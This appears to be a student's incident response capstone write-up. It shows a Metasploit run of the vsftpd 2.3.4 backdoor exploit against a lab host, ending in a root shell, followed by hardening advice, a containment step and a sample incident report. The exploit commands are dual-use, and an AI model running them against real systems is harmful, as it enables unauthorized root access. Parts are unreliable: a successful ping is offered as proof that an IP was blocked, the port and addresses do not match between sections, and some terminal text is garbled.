



8. Capstone Project: Full Incident Response Cycle Activities:

- **Tools:** Metasploit, Wazuh, CrowdSec, Google Docs.
- **Tasks:** Simulate an attack, detect, contain, and report.

```
kali-linux-2023.2-vmware-amd64 - VMware Workstation
File Edit View VM Tabs Help
Home | kali-linux-2023.2-vmware-amd64 | Metasploit2Linux | wazuh
root@kali: ~
File Actions Edit View Help
Matching Modules
# Name Disclosure Date Rank Check Description
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index, for example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
[0] No payload configured, defaulting to cmd/mimic/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show actions
[*] Invalid parameter 'action', use 'show -h' for more information
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 The target port (TCP)

Exploit target:
Id Name
--
0 Automatic

View the full module info with the info, or info -d command.
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.0.154
RHOST => 192.168.0.154
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.0.154:21 - Banner: 220 (vsftpd 2.3.4)
[*] 192.168.0.154:21 - USER: 331 Please specify the password.
[*] 192.168.0.154:21 - Backdoor service has been spawned, handling ...
[*] 192.168.0.154:21 - STD: user@root) $ls-lRroot$
[*] Found shell.
[*] Command shell session 1 opened (192.168.0.154:45119 -> 192.168.0.154:62000) at 2023-08-21 15:37:50 -0400

whoami
root
```

- Disable **Anonymous FTP** unless explicitly required.
- Use **SFTP or FTPS** instead of plain FTP.
- Implement **File Integrity Monitoring** (e.g., AIDE, Tripwire).
- Patch **Management**: Regularly verify and update software from official repositories.
- **IDS rules** for backdoor indicators and unusual port activity.

2



- **Containment:** Block the attacker's IP with CrowdSec and verify with a ping test.

```
root@kali:~# ping 192.168.0.154
PING 192.168.0.154 (192.168.0.154) 56(88) bytes of data:
64 bytes from 192.168.0.154: icmp_seq=0 ttl=64 time=0.877 ms
64 bytes from 192.168.0.154: icmp_seq=1 ttl=64 time=0.872 ms
64 bytes from 192.168.0.154: icmp_seq=2 ttl=64 time=0.714 ms
64 bytes from 192.168.0.154: icmp_seq=3 ttl=64 time=0.956 ms
64 bytes from 192.168.0.154: icmp_seq=4 ttl=64 time=0.811 ms
64 bytes from 192.168.0.154: icmp_seq=5 ttl=64 time=0.875 ms
64 bytes from 192.168.0.154: icmp_seq=6 ttl=64 time=0.774 ms
64 bytes from 192.168.0.154: icmp_seq=7 ttl=64 time=0.863 ms
64 bytes from 192.168.0.154: icmp_seq=8 ttl=64 time=1.41 ms
64 bytes from 192.168.0.154: icmp_seq=9 ttl=64 time=0.844 ms
64 bytes from 192.168.0.154: icmp_seq=10 ttl=64 time=0.595 ms
64 bytes from 192.168.0.154: icmp_seq=11 ttl=64 time=0.358 ms
64 bytes from 192.168.0.154: icmp_seq=12 ttl=64 time=0.852 ms
64 bytes from 192.168.0.154: icmp_seq=13 ttl=64 time=0.624 ms
64 bytes from 192.168.0.154: icmp_seq=14 ttl=64 time=1.45 ms
64 bytes from 192.168.0.154: icmp_seq=15 ttl=64 time=0.793 ms
^C
root@kali:~#
```

- **Reporting:** Write a 200-word report summarizing the incident, including findings, actions, and recommendations.

Incident Report: vsftpd Security Incident

On August 20, 2025, a security incident involving the vsftpd (Very Secure FTP Daemon) service was detected on a production server. The server began exhibiting abnormal behavior, including unauthorized file uploads and unusual outbound network connections. Initial investigation revealed that the vsftpd service was running version 2.3.4, which is known to contain a backdoor vulnerability when sourced from an untrusted third-party repository.

Findings:

Analysis confirmed that the compromised vsftpd binary included a malicious backdoor allowing remote shell access on port 6200. This unauthorized version was mistakenly installed due to improper validation of package sources. System logs indicated that the backdoor was exploited, resulting in a breach of the server's file system.

Actions Taken:

The affected server was immediately isolated from the network to prevent further intrusion. vsftpd was removed, and the system was scanned for malware. All credentials were rotated, and impacted services were restored from secure backups. The incident was reported to the internal security team for further forensic analysis.

**Recommendations:**

- Only use software from verified and trusted sources.
- Implement automated security updates and patch management.
- Conduct regular vulnerability assessments.
- Enhance monitoring and alerting for unauthorized access attempts.